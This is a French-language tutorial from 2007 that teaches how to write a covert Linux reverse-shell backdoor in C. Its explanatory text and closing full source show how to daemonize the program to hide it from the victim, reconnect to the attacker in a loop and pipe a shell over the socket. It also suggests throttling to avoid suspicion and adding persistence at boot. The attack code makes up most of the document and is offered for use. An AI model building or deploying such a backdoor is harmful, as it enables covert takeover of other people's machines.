Linux Remote Back Shell Programming / C Language

May 31, 2007

1 Introduction

Il existe aujourd'hui beaucoup de méthodes pour gagner le contrôle d'une une machine distante, ainsi que des logiciels tout faits, prêts à l'usage qui permettent de détourner des systèmes. Mais ce qui est et reste plus intéressant c'est de coder son propre tool, l'utiliser à sa guise et le modifier comme çà lui chante... :) et c'est ce que nous allons faire dans ce petit article. Pour bien déguster ce texte, il vous faut des bonnes bases en langage C, quelques notions en IPC (Inter Process Comunication) et les bases de la programmation réseau.

Note: Ce texte est fait exclusivement pour des systèmes *nix, et le contenu ne s'applique pas à d'autre OS comme Windows.

Si vous avez tout ça... Let's Go!

2 Qu'est-ce qu'un remote shell ?

Un remote shell est une sorte de backdoor qui, une fois lancé sur un système, ouvre un port et se met en écoute, et quand on s'y connecte il nous renvoie le shell du système et on peut y executer toute commande que l'on veut.

Avantages

- Utilisable à long terme, vous allez comprendre quand on parlera des inconvénients des RBS (remote back shell)
- Peut faire du FWB (firewall bypassing) en local (donc plus pratique)

Inconvénients

- On a toujours besoin de se procurer l'adresse IP de la victime si elle est dynamique

Un remote back shell représente la même chose, avec la seule particularité que c'est lui qui se connecte à nous, donc c'est nous qui devons nous mettre en écoute pour l'utiliser.

Avantages

- On n'a pas besoin de l'adresse IP de la victime

Inconvénients

- Utilisable à court terme si on a une IP dynamique, car il faut le recompiler en spécifiant la nouvelle adresse IP.

3 Théorie

Le RBS qu'on va réaliser sera assez basique, avec des possibilités moins professionelles que professionelles :p

Avant d'attaquer les sources et tout çà, on doit d'abord analyser ce qu'on veut faire de plus près : on sait déjà ce que notre application va faire, alors on va établir un petit plan sur les routines à coder:

- Anonymat : notre application doit agir en douce donc elle doit travailler en arrière-plan
- Connexion : elle doit pouvoir établir une connexion, envoyer et recevoir des données
- Shell : elle doit pouvoir récupérer le chemin du shell et l'exécuter
- IPC : elle doit pouvoir communiquer avec un processus (le shell executé)
- Redirection : elle doit pouvoir rediriger les entrées/sorties standards du shell

Pour l'anonymat, le RBS doit être invisible, donc une fois lancé il se cache et s'exécute loin du regard de la victime, pour faire çà il suffit de le transformer en démon (daemon). Un daemon est une application qui tourne en arrière-plan (background) sans bloquer les autres processus. Bien sur, on peut faire çà facilement en langage C avec des fonctions système, la source sera expliquée dans la pratique.

Une fois le démonisation effectuée, on passe à la gestion de connexion, donc on crée une socket, on lui spécifie notre adresse IP (vu que c'est un back shell qu'on fait), le port de connexion et on lui demande de se connecter.

Mais il se peut que nous ne soyons pas prêts, ou que l'ont soit absent, pas grave on le laisse tourner en boucle jusqu'à ce que la connexion ait lieu. Une fois la connexion établie, on commence le dialogues.

La récupération du chemin complet du shell est relativement simple, car ce dernier est stocké dans une variable d'environnement du système (Unix, n'oubliez pas), cette variable s'intitule "SHELL", et on a une jolie fonction système qui va nous permettre de récupérer sa valeur (voir la pratique).

Maintenant parlons de l'IPC, c'est le point le plus important et le plus sensible dans ce petit projet. Dans n'importe quel système d'exploitation, des

processus doivent communiquer entre eux pour assurer un bon fonctionnement et éviter toute irruption ou confusion, et pour pouvoir partager des données, informations, etc...

La communication entre deux processus se fait grâce à des signaux qu'ils s'envoient entre eux, ou des données qu'ils s'échangent. On a besoin de passer des commandes au shell et de recevoir leurs résultats, alors on va se dispenser des signaux, et on va se baser sur l'échange de données (notez bien qu'ici le shell qu'on lance représente le fils de notre processus principal). Pour ce faire, beaucoup de techniques existent, citons :

- Les FIFOs
- Les mémoires partagées (Shared memory)
- Les pipes
- ...

Les pipes sont plus adaptées à notre besoin, donc on va les employer, mais sachez que ce tool peut être réalisé autrement qu'avec çà.

Une pipe (appellé aussi Tube) est vraiment un tube qui a deux bouts, un qui sert d'entrée et l'autre de sortie. Quand on crée une pipe dans un processus, il la partage avec son processus fils, si le père prend le bout d'entrée le fils prend le bout de sortie (et vice-versa). Sachant qu'un bout d'une pipe ne peut servir qu'à un seul type d'opérations (soit lecture soit écriture), on réalise alors que l'échange de données consiste en:

```
    Père: envoi ----- commande ----> Fils: réception
Père: reception <---- résultat ----- Fils: envoi
```

On en déduit qu'il nous faut deux tubes : l'un pour envoyer les commandes, et le deuxième pour recevoir les résultats (côté père), et du même pour le fils, l'un pour recevoir les commandes à executer, et un autre pour renvoyer les résultats.

Note: Quand depuis un processus on lance un autre processus, ce dernier s'appelle le fils (child), et le processus lançant en est le père (parent).

La communication est plus ou moins ok, donc on va passer aux redirections. Quand vous êtes dans votre shell, vous saisissez des commandes dans la console avec votre clavier, donc pour lui le clavier est l'entrée, et les résultats des commandes sont directement affichés à l'écran qui est la sortie du shell. On veut s'assurer que l'utilisateur ne puisse rien voir, alors on doit rediriger ses entrées standards (Clavier/Ecran) vers nos pipes, car c'est de là qu'on saisit les commandes, et c'est de là qu'on récupère les sorties. Nous allons voir comment faire dans la pratique qui suit :)

Alors voilà un minimum de théorie qui va plus ou moins faciliter la compréhension du fonctionnement.

4 Pratique

Et voilà on est arrivé à la phase finale, waiii on va taper le code maintenant alors préparez vos compilos ! Avant de commencer je tiens à vous signaler que je ne vais pas détailler la source avec des explications propres aux bases du langage, alors s'il vous plait si vous ne connaissez rien en C, allez d'abord vous instruire... Merci XD

Par quoi on va commencer ? Démoniser l'application, c'est la première des choses à faire, l'utilisateur ne doit pas avoir le moindre temps de voir quoi que ce soit. On procède comme suit :

1. On double le processus (avec un `fork()`), et si tout se passe bien, on ferme le père.

`fork` duplique le processus actuel, et le nouveau processus héritant continue l'exécution depuis le point ou fork a été appellé (`man fork` pour plus d'informations).

```
pid_t child;
child = fork ();
if (child < 0) exit (-1);
  /*si le fork échoue on quitte directe*/
if (child > 0) exit (0);
  /* le fork a réussi alors on ferme le père*/
```

Note: Le retour de fork est:

- 0: On est dans le fils
- $>$ 0: On est dans le père
- -1: échec

Maintenant on a un processus sans père qui traine dans l'air ^^

2. Maintenant, nous devons donner les droits de maître du groupe à notre processus, sachant qu'il ne peut pas y avoir plus d'un processus par groupe. Pour ce faire, on utilise la fonction `setsid`:

```
pid_t sid;
sid = setsid ();
if (sid < 0) exit (-1);
  /*si setsid echoue on quitte eventuellement*/
```

3. On doit ensuite changer le répertoire actuel, en général on met la racine mais vous pouvez n'importe lequel (pour ma part je préfere mettre la racine `"/"`), et ceci grâce à la fonction `chdir`:

```
if (chdir("/") < 0) exit (-1);
```

4. On doit mettre la valeur de `umask` à 0, selon le man, `umask` est utilisé par la fonction `open`, pour positionner les permissions d'accès initiales sur les nouveaux fichiers:

```
umask (0);
```

5. À la fin, comme notre processus est détaché du terminal (démonisé), on ferme ses I/O standards (IN, OUT et ERR) car elles ne servent plus à rien:

```
close (STDIN_FILENO);
close (STDOUT_FILENO);
close (STDERR_FILENO);
```

`STDIN_FILENO`, `STDOUT_FILENO` et `STDERR_FILENO` ont respectivement les valeurs 0, 1 et 2 et représentent toujours les I/O standards.

Notre tool est un daemon maintenant, donc on peut commencer le boulot et on va attaquer la partie réseau, et ce n'est que de la programmation réseau basique que vous devez surement connaître:

```
struct sockaddr_in hostsin;
  /*la structure sin du host (nous ^^)*/
int ctrl,
  /*variable de contrôle*/
suxet;
  /*notre socket*/
hostsin.sin_family = AF_INET;
hostsin.sin_port = htons (12345);
  /*J'ai choisis 12345 comme port,
    vous pouvez choisir n'importe lequel*/
hostsin.sin_addr.s_addr = inet_addr ("127.0.0.1");
  /*Une adresse local pour tester en local ^^*/
memset (hostsin.sin_zero, 0, 8);
suxet = socket (AF_INET, SOCK_STREAM, 0);
  /*on crée la socket et si çà foire on quitte*/
if (suxet < 0) exit (-1);
do
{
  /*On tente de se connecte tant qu'on y arrive pas*/
  ctrl = connect (suxet, (struct sockaddr*)&hostsin, sizeof (struct sockaddr));
  sleep (5);
    /*Une petite pose de 5 secondes, pour éviter de faire travailler
      le cpu à fond ce qui risque d'attirer des doutes -_-'*/
}
while (ctrl < 0);
  /*Là j'envoi un petit message de salutation, pas obligé
    mais c'est important si vous utilisez netcat comme çà
    vous saurez quand vous aurez une connexion*/
ctrl = send (suxet, "heya jeune coder voilà ton shell !\r\n", 7, 0);
if (ctrl < 0) exit (-1);
```

Une fois qu'on est connecté on va créer nos pipes à l'aide de la fonction `pipe()`, cette fonction prend en paramètre un tableau de deux entiers et y stocke après

les descripteurs de chaque bout du tube, l'élément 0 du tableau (`pipe1[0]`) sert à lire, et l'élément 1 (`pipe1[1]`) sert à écrire:

```
int pipe1[2],
pipe2[2];
pipe (pipe1);
pipe (pipe2);
```

Nos pipes sont créées et on va les utiliser selon le shéma suivant:

```
 -------       -----         -------
|Parent |     |Pipes|       | Child |
 -------       -----         -------
           -pipe1-
write CMD ----------------> Read CMD
           -pipe2-
Read Result <---------------- Write Result
```

Maintenant on va forker notre processus, car il nous faut un fils qui deviendra le shell:

```
pid_t child;
child = fork();
if (child < 0) exit (-1); /*erreur*/
```

Le fils va se charger donc de rediriger les I/O comme on a dit vers les I/O des pipes, et ensuite il va se transformer en un shell, c'est tout simple voilà comment faire:

```
char *shell;
if (child == 0)
{
  /*on est alors dans le fils*/
  shell = getenv ("SHELL");
  /*on récupère le chemin relatif au shell, rappellez vous la
    variable d'environnement SHELL dont on a parlé précédemment,
    donc getenv nous renvoit sa valeur ou NULL en cas d'echec*/
  if (shell == NULL) exit (-1);
```

Là avant de dupliquer on a créé deux pipes, mais lors du fork on obtient en tout 4 pipes, car fork duplique entièrement le processus parent, pour çà on va fermer les bouts qui ne nous servent pas dans le fils

```
  /*Des defines juste pour clarifier les choses*/
  #define FD_READ 0
  #define FD_WRITE 1
  close (pipe1[FD_WRITE]);
    /*On écrit dans pipe2[1] alors on ferme ce doublons*/
  close (pipe2[FD_READ]);
    /*On lit dans pipe1[0] alors on ferme ce doublon*/
```

Maintenant on redirige les I/O standard (clavier/écran) vers les I/O de nos pipes, pour çà on emploie la fonction `dup2` qui selon le manuel, transforme l'entrée ou la sortie standard en une copie du bout de la pipe comme suit:

```
ctrl = dup2 (pipe1[FD_READ], STDIN_FILENO);
/*L'entrée est donc le bout par lequel on recoit les commandes*/
if (ctrl < 0) exit (-1);
ctrl = dup2 (pipe2[FD_WRITE], STDOUT_FILENO);
/*La sortie est le bout dans lequel on écrit les résultats*/
if (ctrl < 0) exit (-1);
ctrl = dup2 (pipe2[FD_WRITE], STDERR_FILENO);
/*La sortie d'erreur est aussi le bout dans lequel on écrit*/
if (ctrl < 0) exit (-1);
```

Une fois les redirections effectuées, on lance notre shell avec la fonction `execv`, cette fonction remplace totalement le processus appellant par le processus appellé en tenant compte des redirections qu'on a fait avant son appel (voir `man execv` pour plus d'informations) :

```
execv (shell, NULL);
close (pipe1[FD_READ]);
close (pipe2[FD_WRITE]);
/* si on atteint cette instruction ca veut dire que execv a
   rencontré une erreur ou que l'attaquant a envoyé
   la commande $exit */
exit (-1);
}
```

Voilà c'est tout pour le fils, passons au père maintenant :)

En premier lieu, on va fermer les doublons des pipes comme on a fait pour le fils:

```
else
{
  /*le père: if (child > 0)*/
  close (pipe1[FD_READ]);  /* On lit dans pipe2[FD_READ]    */
  close (pipe2[FD_WRITE]); /* On écrit dans pipe1[FD_WRITE] */
```

Maintenant, on va faire une action un peu spéciale. Quand on fait une lecture dans un bout d'une pipe avec `read`, cette fonction restera bloquante jusqu'à ce qu'elle rencontre `EOF` (End Of File et signifie qu'il n'y a plus de données à lire), et l'EOF s'obtient une fois que l'autre bout de la pipe a été fermé, et çà nous pose un problème car l'autre bout est ouvert et on ne peut pas le fermer car on a transformé notre processus en un shell, je profite de l'occasion pour remercier target0 qui m'a montré cette fonction et son utilisation, il s'agit de `fcntl`.

`fcntl` nous résoud le problème, car elle permet d'attribuer des attributs à un descripteur (voir `man fcntl`):

```
ctrl = fcntl (pipe2[FD_READ], F_SETFL, O_NONBLOCK);
if (ctrl < 0) exit (-1);
```

Voilà, on spécifie que le bout de lecture `pipe2[FD_READ]` ne doit pas être bloquant (`O_NONBLOCK`), et comme ça dès que `read()` ne trouve plus rien à lire elle n'attendra pas le `EOF` mais elle s'arrêtera sur le champ :)

Tout est ok maintenant, il suffit d'entrer dans la boucle de communication avec le propriétaire:

```
#define BUFSIZE 1024 /*taille du buffer de données*/
char buffer[BUFSIZE];/*buffer des données*/
while (1)
{
  memset (buffer, 0, BUFSIZE);
    /*On vide notre buffer en le remplissant de 0*/
  ctrl = recv (suxet, (char*)buffer, BUFSIZE-1, 0);
    /*on receptionne la commande*/
  if (ctrl < 0) exit (-1);
  buffer[BUFSIZE-1] = '\0';
```

Pour écrire dans le bout de la pipe, on utilise `write` (`man write`):

```
nbytes = write (pipefds[FD_WRITE], buffer, strlen (buffer));
  if (nbytes < 0) exit (-1);
```

Ensuite on fait une petite pause d'une seconde pour laisser le temps au shell de nous renvoyer les résultats. On va revenir à ce point plus bas car il y'a un point à éclairer là-dessus.

```
  sleep (1);
```

Maintenant on récupère les résultats on bouclant sur le `read` jusqu'à ce qu'on a plus de données à lire, et on renvoit les résultats au big boss :)

```
while ((nbytes = read (pipe2[FD_READ], buffer, BUFSIZE-3)) > 0)
  {
    strcat (buffer, "\r\n");
    /*Une donnée à envoyer en réseau doit toujours être terminée
      par \r\n, retour chariot et retour à la ligne*/
    ctrl = send (suxet, (char*)buffer, strlen (buffer), 0);
    /*envoi des résultats*/
    if (ctrl < 0) exit (-1);
    memset (buffer, 0, BUFSIZE);
    /*on revide le buffer de données*/
  }
}
```

Pour l'histoire de la pause, si vous voulez par exemple faire un scan à partir de la machine détournée (avec `nmap` par exemple) ça risque de mettre du temps à renvoyer les résultats, donc `read()` n'attendra pas (l'attribut non bloquant) et vous receverez les résultats plus tard après l'envoi d'autres commandes. On peut créer un thread qui s'occupera du scan, comme ça la réception du résultat sera plus propre au niveau affichage et ordonnancement.

Voilà, on arrive à la fin de cet article, je pense que maintenant vous avez les bases nécessaires pour écrire une jolie backdoor ou RBS, voir même un RS (Remote Shell) avec beaucoup plus d'options, et si vous écrivez le même vous pouvez utilier `netcat` pour communiquer avec ou créer votre propre client.

Ce RBS peut être amélioré pour, par exemple, se lancer à chaque boot du système, s'auto-réinstaller, fwb, etc... Je laisse faire votre imagination, et j'espère que mon texte vous a appris un minimum sur le sujet. Et voici la source complète de ce projet (sans les includes, sorry Anti-Script Kiddies)... :)

~ Goundy ~

```
#include "ANTI_SCRIPT_KIDDIES"
#define BUFSIZE 1024
#define FD_READ 0
#define FD_WRITE 1
const char* host = "127.0.0.1"; /*Mon adresse ip*/
const unsigned int port = 12345; /*mon port d'écoute*/
int main (void)
{
  int suxet, /*id de la socket de communication*/
  pipe1[2], /*0: read, 1:write*/
  pipe2[2],
  ctrl,
  nbytes;
  char buffer[BUFSIZE] = {0},
  *shell;
  struct sockaddr_in hostsin;
  pid_t child,
  sid;
  /*daemon*/
  child = fork ();
  if (child < 0) exit (-1);
  if (child > 0) exit (0); /*si le fork a réussi on ferme le père*/
  sid = setsid ();
  if (sid < 0) exit (-1);
  if (chdir("/") < 0) exit (-1);
  umask (0);
  close (STDIN_FILENO);
  close (STDOUT_FILENO);
  close (STDERR_FILENO);
```

```
/*Initialisations réseau*/
hostsin.sin_family = AF_INET;
hostsin.sin_port = htons (port);
hostsin.sin_addr.s_addr = inet_addr (host);
memset (hostsin.sin_zero, 0, 8);
suxet = socket (AF_INET, SOCK_STREAM, 0);
if (suxet < 0) exit (-1);
do
{
  ctrl = connect (suxet, (struct sockaddr*)&hostsin, sizeof (struct sockaddr));
  sleep (5);
}
while (ctrl < 0);
ctrl = send (suxet, "heya!\r\n", 7, 0);
if (ctrl < 0) exit (-1);
/*Création des pipes*/
pipe (pipe1);
pipe (pipe2);
/*création du processus fils*/
child = fork();
if (child < 0) exit (-1); /*erreur*/
if (child == 0)  /*fils*/
{
  shell = getenv ("SHELL");
  close (pipe1[FD_WRITE]);
  close (pipe2[FD_READ]);
  dup2 (pipe1[FD_READ], STDIN_FILENO);
  dup2 (pipe2[FD_WRITE], STDOUT_FILENO);
  dup2 (pipe2[FD_WRITE], STDERR_FILENO);
  execv (shell, NULL);
  close (pipe1[FD_READ]);
  close (pipe2[FD_WRITE]);
  exit (-1);
}
else /*père*/
{
  close (pipe1[FD_READ]);
  close (pipe2[FD_WRITE]);
  ctrl = fcntl (pipe2[FD_READ], F_SETFL, O_NONBLOCK);
  if (ctrl < 0) exit (-1);
  while (1)
  {
    memset (buffer, 0, BUFSIZE);
    ctrl = recv (suxet, (char*)buffer, BUFSIZE-1, 0);
    if (ctrl < 0) break;
    buffer[BUFSIZE-1] = '\0';
```

```
      nbytes = write (pipe1[FD_WRITE], buffer, strlen (buffer));
      if (nbytes < 0) break;
      sleep (1);
      while ((nbytes = read (pipe2[FD_READ], buffer, BUFSIZE-3)) > 0)
      {
        strcat (buffer, "\r\n");
        ctrl = send (suxet, (char*)buffer, strlen (buffer), 0);
        if (ctrl < 0) break;
        memset (buffer, 0, BUFSIZE);
      }
    }
  }
  close (suxet); /*fermeture de la socket*/
  return 0;
}
```